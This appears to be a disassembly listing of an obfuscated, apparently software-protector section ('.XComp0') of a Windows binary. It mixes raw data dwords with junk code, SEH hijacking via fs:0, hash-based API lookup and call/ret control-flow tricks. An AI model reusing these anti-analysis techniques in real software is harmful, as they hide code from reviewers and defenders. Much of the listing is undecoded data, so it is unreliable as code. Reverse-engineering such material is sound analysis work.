1704h dd 0C3524200h, 0E31D8651h, 6E9h, 0D63E1C00h, 0FF46BFBEh dd 0F92EB995h, 0CB8B6605h, 8166C085h, 89F030D9h, 0FC361F85h dd 0E98D8B05h, 6805F92Bh, 0F01FFh, 0CE9h, 1681A200h, 0B6990B71h dd 3B1958BBh, 51BD8374h, 5F92Bh, 40840Fh, 9BB90000h, 8D0E5ECEh dd 0FC367C85h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0E9CAD6A2h, 58h, 0C850Fh dd 7E90000h, 2A000000h, 6D6719ECh, 858D04B9h, 5FC3652h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 56C35040h dd 0E8F74D61h, 0BD89958Ah, 5F908A5h, 13E9h, 3E133B00h dd 2742BE83h, 7302A3A7h, 656B5238h, 9444F8F2h, 0F70DBA50h dd 0B5FF1339h, 5FC361Fh, 0F4C28166h, 1795FFDAh, 6A05FC36h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 62B9C356h, 4A094F7Bh, 25A18D8Bh, 0C68005F9h dd 23858955h, 5705FC36h, 0C75AD48Ah, 0F925A585h, 5, 0FEBF0F00h dd 3623BD83h, 0F0005FCh, 23184h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 35BC0909h dd 519BB94Ah, 1858D5Ah, 8B05FC39h, 0F912E58Dh, 0BD235005h dd 5F91119h, 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 49B13DC3h, 0F2B45B6Dh, 0FBD8D8Bh dd 952905F9h, 5F90041h, 3623B5FFh, 11E905FCh, 7B000000h dd 0ECC95FB1h, 722EEAC6h, 0CBE05984h, 0A1B185F4h, 361B95FFh dd 858905FCh, 5F9200Dh, 3623B5FFh, 6A05FCh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 95FFF4C3h dd 5F932E1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0F1C35646h, 686DB672h, 0F01FFh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 3BC35646h, 0E522D59h dd 4A19D89h, 0BD8305F9h, 5F92B51h, 47840F00h, 9000000h dd 0F90D29BDh, 7C858D05h, 8905FC36h, 0F91F99BDh, 4CE905h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0AA8F37C3h, 68B0Fh, 9D890000h, 5F91161h dd 19858589h, 858D05F9h, 5FC3652h, 0FE951h, 86DF0000h dd 0F33A5103h, 0D34F6526h, 2A973238h, 6A505ADFh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 9782C352h, 361FB5FFh, 11E905FCh, 91000000h, 802570E6h dd 0C602BCC0h, 84EFAE10h, 94197B84h, 361795FFh, 0CF8A05FCh dd 0D810Fh, 5E80000h, 39000000h, 0BB053120h, 8959F7B2h dd 0FC362385h, 158D8B05h, 0FF05F906h, 0FC3623B5h, 0EE905h dd 6E5C0000h, 90BBAE24h, 8DA72BCh, 8D8F30A1h, 361395FFh dd 0BD8905FCh, 5F9348Dh, 3623B5FFh, 858905FCh, 5F917A1h dd 32E195FFh, 6A05F9h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 2B1928C3h, 18ACB4BDh, 1E61BD29h dd 0F8E905F9h, 6AFFFFF6h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 7E33C357h, 4537861Bh dd 2051B589h, 10E905F9h, 34000000h, 0FF75E063h, 0D4DA76AFh dd 98AC3406h, 0FF0B160Bh, 0FC416CB5h, 89EA8105h, 663C38B8h dd 0C235DA81h, 20D595FFh, 0AE905F9h, 3A000000h, 7795D43Fh dd 0B6F09F73h, 0BD858B5Ch, 8B05F934h, 0F91531BDh, 532E905h dd 0BD8B0000h, 5F906F1h, 3921B58Dh, 6A05FCh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 8509A1C3h dd 5F918EDh, 0E74E858Dh, 6E805FBh, 0D6000000h, 5AFD06FFh dd 658D0B5Ah, 5905F917h, 9589D0FFh, 5F92531h, 8B60006Ah dd 0F926058Dh, 0DABF0F05h, 6995FF61h, 0F505F907h, 0B589F38Bh dd 5F9112Dh, 0A218589h, 858D05F9h, 5FBE74Eh, 0FFDFF680h dd 6AC88BD0h, 89958900h, 0FF05F913h, 0F9076995h, 8E905h dd 0F5E0000h, 38EDBD1Ah, 0EE806B3Ch, 83C08B8Dh, 0F931C9BDh dd 9750005h, 12B5BD83h, 740005F9h, 8B535019h, 7D9B8C0h dd 85890000h, 5F928E9h, 0F3849D8Dh, 0D3FF05FBh, 0BD83585Bh dd 5F912B5h, 50177400h, 7D9B853h, 85890000h, 5F928E9h dd 0F0739D8Dh, 0D3FF05FBh, 9589585Bh, 5F924A1h, 13E8h dd 0CEC32700h, 5576D0E4h, 8B7E2339h, 176140DDh, 86A14642h dd 15B19D89h, 8B5A05F9h, 501AB2C0h, 0D88BD08Bh, 3793DA81h dd 8D5362FAh, 0F934D99Dh, 89038B05h, 50438B03h, 8D504389h dd 0FC41059Dh, 89038B05h, 57605B03h, 11E8h, 9C965400h dd 0D554A104h, 2647C710h, 62F4B281h, 5F5857A8h, 952B61FCh dd 5F91AB5h, 8DF5006Ah, 0FC410585h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0F61C49EEh dd 858988CFh, 5F917FDh, 57006A50h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 7EDF2B8h, 0A45EE647h dd 0FE9C109h, 0FE000000h, 0FF7DE742h, 30A050E7h, 43A2D974h dd 8589532Ah, 5F91075h, 958B606Ah, 5F9331Dh, 34D9858Dh dd 816605F9h, 501DFDE7h, 1EDD8589h, 6A05F9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 96C35545h, 458D8B95h dd 6A05F910h, 0B9BD8900h, 6805F904h, 1800h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 8C35646h, 94CC8B7Fh dd 8D295109h, 5F91AF1h, 0A1BD8953h, 0FF05F90Ch, 0F9276D95h dd 0FF1FB105h, 0F921DD95h, 91952305h, 0FF05F912h, 0FC416CB5h dd 0C7816005h, 36396166h, 2BED9529h, 0FF6105F9h, 0F920D595h dd 958D8B05h, 8D05F90Ch, 0F934D985h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 51283E96h dd 0A028D711h, 0D9D89D8h, 8B05F933h, 0EA801840h, 585C738h dd 5F910h, 1000000h, 0F9001185h, 8E0F6005h, 15h, 10E9h dd 38744100h, 0F9FB6E5Dh, 29E2BE23h, 0B1A62934h, 6117B41Ch dd 2B51BD83h, 0F0005F9h, 1D84h, 0BEE18100h, 3D1D19F3h dd 8Ch, 14F830Fh, 0B70F0000h, 0FE9CAh, 0BF660000h, 983D08D2h dd 0F000000h, 13883h, 3B858D00h, 0F005B24h, 0C81h, 6840F00h dd 8B000000h, 0F9090D95h, 8BD0FF05h, 0F91DED95h, 8E858D05h dd 0E9005B1Eh, 0Fh, 579D3BF0h, 1D3FB9B6h, 420EDFA2h, 0FC9563D7h dd 0F180D0FFh, 89C08BDCh, 0F9077985h, 0C9BD8305h, 5F931h dd 0BD830975h, 5F912B5h, 50197400h, 0B8C08B53h, 0BC6h dd 28E98589h, 9D8D05F9h, 5FBF384h, 585BD3FFh, 12B5BD83h dd 740005F9h, 0B8535017h, 0BC6h, 28E98589h dd 9D8D05F9h, 5FBF073h, 585BD3FFh, 8E9h, 6632E100h, 7DC5692Dh dd 9E905h, 32EE0000h, 0CFC135BDh, 8B9D2AADh, 0F883F8C0h dd 35850FFFh, 0B1000000h, 2B0FBFDFh, 85C73F27h, 5F91E19h dd 0 ; --------------------------------------------------------------------------- mov edi, [ebp+5F9257Dh] jmp loc_5A276D ; --------------------------------------------------------------------------- push edi ja loc_5A2654 mov edx, [ebp+5F90DE9h] loc_5A2654: ; CODE XREF: .XComp0:005A2648j pop edx jmp loc_5A269E ; --------------------------------------------------------------------------- push ebx push esi mov edi, ebx pop edi pop edi cmp eax, 1 jnz loc_5A269E push 0 push edx call sub_5A2674 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A2674 proc near ; CODE XREF: .XComp0:005A266Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5A2674 endp ; --------------------------------------------------------------------------- fcmovne st, st(7) cmpsd wait scasd rol byte ptr [ecx-3560CE21h], cl dec esp movsx ecx, di jmp loc_5A2790 ; --------------------------------------------------------------------------- mov [ebp+5F907B9h], eax loc_5A269E: ; CODE XREF: .XComp0:005A2655j ; .XComp0:005A2663j jmp near ptr dword_5A15F8+2EBh ; --------------------------------------------------------------------------- mov edi, [ebp+5F92675h] mov eax, eax movzx edx, bx mov cx, 16E3h cmp dword ptr [ebp+5F931C9h], 0 jnz short loc_5A26C4 cmp dword ptr [ebp+5F912B5h], 0 jz short loc_5A26DD loc_5A26C4: ; CODE XREF: .XComp0:005A26B9j push eax push ebx mov eax, eax mov eax, 7DDh mov [ebp+5F928E9h], eax lea ebx, [ebp+5FBF384h] call ebx pop ebx pop eax loc_5A26DD: ; CODE XREF: .XComp0:005A26C2j cmp dword ptr [ebp+5F912B5h], 0 jz short loc_5A26FD push eax push ebx mov eax, 7DDh mov [ebp+5F928E9h], eax lea ebx, [ebp+5FBF073h] call ebx pop ebx pop eax loc_5A26FD: ; CODE XREF: .XComp0:005A26E4j push 0 push ebx call sub_5A2708 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A2708 proc near ; CODE XREF: .XComp0:005A2700p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5A2708 endp ; --------------------------------------------------------------------------- dd 14E9A9h, 4F880000h, 924703BCh, 7AB77EB7h, 81C01BF0h dd 17F02684h, 0BF0F0DCBh, 29E781FAh, 8A5E0B9Ah, 0E9C08BF4h dd 221h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 8CC35646h, 566057E7h, 89286029h, 0F92B2995h db 5 ; --------------------------------------------------------------------------- loc_5A276D: ; CODE XREF: .XComp0:005A2642j lea eax, [ebp+5FC3F09h] mov edi, [ebp+5F91ABDh] mov [ebp+5FC4101h], eax mov ecx, [ebp+5F91359h] jmp loc_5A27B0 ; --------------------------------------------------------------------------- mov edx, [ebp+5F927ADh] loc_5A2790: ; CODE XREF: .XComp0:005A2693j lea eax, [ebp+5FC3D11h] mov cl, 73h inc eax jo loc_5A27A5 xor [ebp+5F932A9h], ebx loc_5A27A5: ; CODE XREF: .XComp0:005A2799j mov [ebp+5FC4101h], eax sbb di, 484h loc_5A27B0: ; CODE XREF: .XComp0:005A2785j push 34h lea eax, [ebp+5F91A05h] push eax push dword ptr [ebp+5FC4101h] push 0 call dword ptr [ebp+5F90925h] cmp eax, 7 jz loc_5A2938 mov bx, ds test bl, 4 jnz loc_5A28DE mov byte ptr [ebp+5F91899h], 56h push 9CA8B852h push dword ptr [ebp+5F92719h] lea eax, [ebp+5F93A6Ah] call eax push 4 push 1000h push 64h push 0 call eax mov [ebp+5FC4174h], eax mov byte ptr [ebp+5F91899h], 47h push 0EC18AC9Bh push dword ptr [ebp+5F92719h] lea eax, [ebp+5F93A6Ah] call eax call eax mov esi, eax mov byte ptr [ebp+5F91899h], 4Fh push 0C62F2661h push dword ptr [ebp+5F90FC5h] lea eax, [ebp+5F93A6Ah] call eax lea ebx, [ebp+5FC4170h] push ebx push 28h push esi call eax test eax, eax jnz short $+2 mov byte ptr [ebp+5F91899h], 41h push 0DB876498h push dword ptr [ebp+5F90FC5h] lea eax, [ebp+5F93A6Ah] call eax mov [ebp+5FC418Dh], eax mov byte ptr [ebp+5F91899h], 4Ch push 80A4E7A4h push dword ptr [ebp+5F90FC5h] lea eax, [ebp+5F93A6Ah] call eax mov ebx, [ebp+5FC4174h] lea ebx, [ebx+4] push ebx lea ebx, [ebp+5FC4179h] push ebx push 0 call eax mov ebx, [ebp+5FC4174h] mov dword ptr [ebx], 1 mov dword ptr [ebx+0Ch], 2 mov ebx, [ebp+5F91F25h] mov dword ptr [ebp+5F920C1h], 0 push 0 push 0 push 0 mov ebx, [ebp+5FC4174h] push ebx push 0 push dword ptr [ebp+5FC4170h] call dword ptr [ebp+5FC418Dh] loc_5A28DE: ; CODE XREF: .XComp0:005A27D6j mov byte ptr [ebp+5F91899h], 45h push 92A5F797h push dword ptr [ebp+5F92109h] lea eax, [ebp+5F93A6Ah] call eax push 0 push 2 call eax mov bx, ds test bl, 4 jnz short loc_5A2938 mov ebx, [ebp+5FC4174h] mov dword ptr [ebx+0Ch], 0 push 0 push 0 mov ebx, [ebp+5FC4174h] push ebx push 0 push dword ptr [ebp+5FC4170h] call dword ptr [ebp+5FC418Dh] push dword ptr [ebp+5FC4170h] call dword ptr [ebp+5F921DDh] loc_5A2938: ; CODE XREF: .XComp0:005A27CAj ; .XComp0:005A2904j push 0 call dword ptr [ebp+5F90769h] push 0 push esi call sub_5A294B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A294B proc near ; CODE XREF: .XComp0:005A2943p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5A294B endp ; --------------------------------------------------------------------------- db 33h ; --------------------------------------------------------------------------- retn 1F18h ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- cmp eax, 338BE4D7h lea eax, [ebp+5FC7474h] sub edx, 5B6203BBh push eax mov edx, [ebp+5F92139h] or di, 0AC0Bh push large dword ptr fs:0 xor [ebp+5F92B45h], edx mov large fs:0, esp mov edx, 365F1C48h cmp dword ptr [ebp+5F929B9h], 0 jz loc_5A29D9 mov [ebp+5F91211h], ecx cmp dword ptr [ebp+5F91785h], 1 jnz loc_5A29D9 pusha mov edx, [ebp+5F91F1Dh] popa cmp byte ptr [ebp+5FC458Dh], 0 jnz loc_5A29D9 mov dx, 0C91Dh jmp loc_5A2B30 ; --------------------------------------------------------------------------- add di, 8874h loc_5A29D9: ; CODE XREF: .XComp0:005A299Dj ; .XComp0:005A29B0j ... xor ebx, ebx xor eax, eax and edi, [ebp+5F91A9Dh] mov dx, 3838h inc eax ; --------------------------------------------------------------------------- dd 0B073F0Fh, 58F64h, 83000000h, 6A04C4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 615198C3h dd 0C7810C36h, 57D30BE8h, 0AA9AACBFh, 0E1BD317Ah, 0E905F927h dd 0Ah, 0EF71325Ah, 0A08B8321h, 0BF660AE5h, 0FB83C9F3h dd 0E840FFFh, 29000000h, 0F90A299Dh, 0D8E905h, 0B70F0000h dd 6EE9FBh, 6E90000h, 13000000h, 0B365D24Ch, 244C8B62h dd 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h dd 245C8BC3h, 0E8550Ch, 5D000000h, 7496ED81h, 838B05FCh dd 0B8h, 7543858Dh, 838905FCh, 0B8h, 0C3C0335Dh, 0D918D89h dd 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0ED9CB5C3h, 748C858Dh, 816605FCh, 50BCC8F2h dd 6830Fh, 958B0000h, 5F92009h, 35FF64h, 31000000h, 0F91E7195h dd 0E9816605h, 8964DFCBh, 25h, 0D08B6600h, 860Fh, 0AB90000h dd 0B8000000h, 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h dd 810034B6h, 345FE8EAh, 0FB81ED00h, 564D5868h, 85C70A75h dd 5F90B49h, 1 ; --------------------------------------------------------------------------- loc_5A2B30: ; CODE XREF: .XComp0:005A29CFj pop large dword ptr fs:0 add esp, 4 push 0 push edi call sub_5A2B45 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A2B45 proc near ; CODE XREF: .XComp0:005A2B3Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5A2B45 endp ; --------------------------------------------------------------------------- db 0B1h, 94h, 5Ch dd 2C37A7FBh, 0F52F062h, 0F59C8B7h, 286h, 0E96CB100h, 5 dd 70EBC1B9h, 29C08BF0h, 0F919DDBDh, 0C9BD8305h, 5F931h dd 0BD830975h, 5F912B5h, 50197400h, 0B8C08B53h, 43Dh, 15DD8589h dd 9D8D05F9h, 5FBF3EBh, 585BD3FFh, 12B5BD83h, 740005F9h dd 0B8535017h, 43Dh, 15DD8589h, 9D8D05F9h, 5FBF08Ch, 585BD3FFh dd 14698D23h, 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 49445BC3h, 68F2811Ah, 31676542h dd 0F9164D85h, 10E905h, 6BA50000h, 0F51053A6h, 8E779A70h dd 808F0D98h, 0C08B6E0Ah, 147E9h, 400h, 392E3100h, 3031h dd 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h dd 20202020h, 25203D20h, 0D0A64h, 2801BD83h, 0F0005F9h dd 12D84h, 0A3858D00h, 5005FBEEh, 0EE0D858Dh, 685005FBh dd 80000001h, 0EEB395FFh, 858D05FBh, 5FC7628h, 32858D50h dd 5005FC76h, 6A006Ah, 0EE21858Dh, 0FF5005FBh, 0FBEEA3B5h dd 0ED95FF05h, 8D05F92Ah, 0FC762885h, 858D5005h, 5FC7636h dd 6A006A50h, 33858D00h, 5005FBEEh, 0EEA3B5FFh, 95FF05FBh dd 5F92AEDh, 7628858Dh, 8D5005FCh, 0FC764285h, 6A5005h dd 858D006Ah, 5FBEE80h, 0A3B5FF50h, 0FF05FBEEh, 0F92AED95h dd 28858D05h, 5005FC76h, 764A858Dh, 6A5005FCh, 8D006A00h dd 0FBEE9E85h, 0B5FF5005h, 5FBEEA3h, 2AED95FFh, 858D05F9h dd 5FC7628h, 46858D50h, 5005FC76h, 6A006Ah, 0EE87858Dh dd 0FF5005FBh, 0FBEEA3B5h, 0ED95FF05h, 8D05F92Ah, 0FC762885h dd 858D5005h, 5FC763Ah, 6A006A50h, 8F858D00h, 5005FBEEh dd 0EEA3B5FFh, 95FF05FBh, 5F92AEDh, 7628858Dh, 8D5005FCh dd 0FC763E85h, 6A5005h, 858D006Ah, 5FBEE96h, 0A3B5FF50h dd 0FF05FBEEh, 0F92AED95h, 0A3B5FF05h, 0FF05FBEEh, 0F9067195h dd 0A2E905h, 0BD830000h, 5F90FB9h, 95840F00h, 83000000h dd 0F91785BDh, 850F0005h, 11h, 569958Bh, 0C28105F9h, 1CF8h dd 0FE9h, 0D9958D00h, 8B05F934h, 0C2813452h, 3BD4C340h dd 25799589h, 0BD8305F9h, 5F92579h, 55840F00h, 8B000000h dd 0F925799Dh, 4CC38305h, 8589038Bh, 5FC7632h, 25799D8Bh dd 0C38305F9h, 89038B50h, 0FC763685h, 799D8B05h, 8305F925h dd 38B54C3h, 76428589h, 9D8B05FCh, 5F92579h, 8B58C383h dd 46858903h, 8B05FC76h, 0F925799Dh, 5CC38305h, 8589038Bh dd 5FC763Ah, 2801BD83h, 0F0005F9h, 0D85h, 0B9BD8300h, 5F90Fh dd 68840Fh, 0B5FF0000h, 5FC764Ah, 763EB5FFh, 0B5FF05FCh dd 5FC763Ah, 7646B5FFh, 0B5FF05FCh, 5FC7642h, 7636B5FFh dd 0B5FF05FCh, 5FC7632h, 762C858Dh, 8D5005FCh, 0FC766485h dd 858D5005h, 5F92F0Dh, 0CD95FF50h, 8305F90Dh, 406A24C4h dd 764E858Dh, 8D5005FCh, 0F92F0D85h, 6A5005h, 92595FFh dd 16A05F9h, 76995FFh, 0C18B05F9h, 0F31718EBh, 9B46h, 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 5FC79F8h dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 30B58BFFh, 8105FC7Ah, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 34B53B00h, 0F05FC7Ah dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 2579858Bh, 188605F9h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 0A995FF08h, 5005F912h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 2579858Bh, 0C605F9h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 5F92579h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 5F92061h, 0 ; --------------------------------------------------------------------------- mov eax, [esp+8] mov ebx, [eax+1000h] mov [eax+1000h], ebx mov ebx, [eax] mov [eax], ebx jmp loc_5A3127 ; --------------------------------------------------------------------------- mov dword ptr [ebp+5F92061h], 100h loc_5A3127: ; CODE XREF: .XComp0:005A3118j pop eax pop ebx inc dword ptr [esp] retn ; --------------------------------------------------------------------------- db 0E9h, 0A3h, 0FFh dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h dd 0D585C700h, 105FC79h, 50000000h, 244C010Fh, 0D9858FFEh dd 8D05FC79h, 0FC79D185h, 0D9BD8D05h, 8905FC79h, 23E938h dd 858D0000h, 5F934D9h, 538408Bh, 9B46F317h, 79D18589h dd 858D05FCh, 5F934D9h, 893C408Bh, 0FC79D585h, 0EE858D05h dd 8905FC79h, 0F912A985h, 87E905h, 8B520000h, 728B60D4h dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h dd 728BDB33h, 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h dd 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh dd 8C25A5Eh, 61858D00h, 8905FC7Ch, 0F9292585h, 89858D05h dd 8905FC7Ch, 0F90B2D85h, 0B1858D05h, 8905FC7Ch, 0F9329585h dd 0CE96005h, 0C000000h, 0CE5484BFh, 430F7D37h, 0FC23C41h dd 386h, 0CEB70F00h, 0BF0FC08Bh, 63E2BED0h, 0BD835D74h dd 5F931C9h, 83097500h, 0F912B5BDh, 19740005h, 0C08B5350h dd 40EB8h, 0E9858900h, 8D05F928h, 0FBF3849Dh, 5BD3FF05h dd 0B5BD8358h, 5F912h, 53501774h, 40EB8h, 0E9858900h, 8D05F928h dd 0FBF0739Dh, 5BD3FF05h, 81C28058h, 0E1F28166h, 6AC08B4Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 6697C357h, 821518F8h, 8B7AC333h, 0B9BD83D7h dd 5F929h, 1E840Fh, 0B70F0000h, 1E5E9CBh, 60600000h, 6E95B56h dd 55000000h, 0B7FE594Ah, 816661FAh, 61C69EDAh, 8B66DF8Ch dd 0CABF0FCBh, 4C7F766h, 0BC850F00h, 66000001h, 83C061BEh dd 0F92B51BDh, 850F0005h, 0Eh, 0E9F78B66h, 1A3h, 8B0Fh dd 0BF0000h, 81000000h, 2FA0CF6h, 549D8D62h, 0F05FC7Fh dd 0B950D2B7h, 45E9E47Dh, 64241C89h, 35FFh, 8B0F0000h dd 3, 64E2E980h, 2589h, 8C0F0000h, 1Ah, 12E8h, 0E7CF1B00h dd 0C3C1E1A0h, 0EF91D740h, 74A3C1C1h, 53011C82h, 0C48B595Eh dd 2969BA66h, 0EB01CDh, 6AD6B70Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 94D9C352h dd 6B7176E4h, 644626B2h, 58Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 836178C3h dd 6A04C4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 18ACB4C3h, 0BF2B2D9h, 0C8840FC0h, 60000000h dd 6A6161h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0F53509C3h, 85BD8DF5h, 0B205F972h, 1B879h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0E87D1FC3h, 6, 4E7B0310h, 0FF5A807Dh, 16840FE7h dd 0E8000000h, 0Dh, 0A1DF3B7Ah, 0D892AEDDh, 51EE7599h dd 66ED807Fh, 5C8B575Ah, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh dd 0B0h, 0B88383h, 5F020000h, 0E8C3C033h, 0Ch, 62C3DBE3h dd 75C9C66Dh, 6E20D09Eh, 7E852h, 0B5F60000h, 2459909Eh dd 595E5A93h, 2880Fh, 87B10000h, 7BAA11BEh, 61EE8A3Bh dd 0E8C08BF8h, 0Bh, 2AA04AA2h, 1D58EFB2h, 8AECAFD5h, 0BD8359F0h dd 5F931C9h, 83097500h, 0F912B5BDh, 19740005h, 0C08B5350h dd 40EB8h, 0DD858900h, 8D05F915h, 0FBF3EB9Dh, 5BD3FF05h dd 0B5BD8358h, 5F912h, 53501774h, 40EB8h, 0DD858900h, 8D05F915h dd 0FBF08C9Dh, 5BD3FF05h, 0F960FC58h, 0D4E98166h, 0C08B610Ah dd 0C28BCA8Bh, 8E8h, 39F7C00h, 0E32E5D78h, 9DDB8150h, 5E708EA7h dd 819CEC80h, 59D5C6h, 0DA8B5600h, 0FFF3359h, 682h, 60E38100h dd 8B12488Dh, 81F83E14h, 0BB4856C2h, 81C28B29h, 0FB5D26C2h dd 8184B07Bh, 0FAC922F2h, 475EB939h, 665221FFh, 48FCE8Bh dd 833EB73Eh, 12E803EFh, 40000000h, 113A7FF1h, 0A1D0C50Ah dd 9B9F84E8h, 14486627h, 58C68BCBh, 81DA8B4Fh, 0FFA6E8FFh dd 17850FFFh, 0F000000h, 3BE9CBB7h, 64000000h, 84627862h dd 294D2BC9h, 698C478Dh, 10E971A6h, 0FD000000h, 764DA6BDh dd 37FED928h, 370DB02Dh, 0E97EF372h, 0FFFFFF7Bh, 505914E6h dd 929F8522h, 8289D57Fh, 59EBF81Fh, 8EB03FDh, 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_5A3754 ; --------------------------------------------------------------------------- db 60h, 52h, 0Fh ; --------------------------------------------------------------------------- add [esp-2], ecx pop edx add edx, 24h loc_5A36E4: ; CODE XREF: .XComp0:005A371Bj mov eax, [ebp+5F91785h] lea eax, [ebp+5FCDF46h] mov ecx, [eax] mov ecx, [eax+1000h] mov ecx, [edx] mov cx, [edx-4] mov [ebp+5FC80E3h], ecx cmp dword ptr [ebp+5F92B51h], 0 jz loc_5A3720 pusha push 0 call dword ptr [ebp+5F91AEDh] popa jmp loc_5A36E4 ; --------------------------------------------------------------------------- loc_5A3720: ; CODE XREF: .XComp0:005A370Bj mov [edx-4], si ror esi, 10h mov [edx+2], si push edx int 4 ; - internal hardware - OVERFLOW ; Generated by INTO instruction if OF flag is set. If flag is not set, INTO ; is 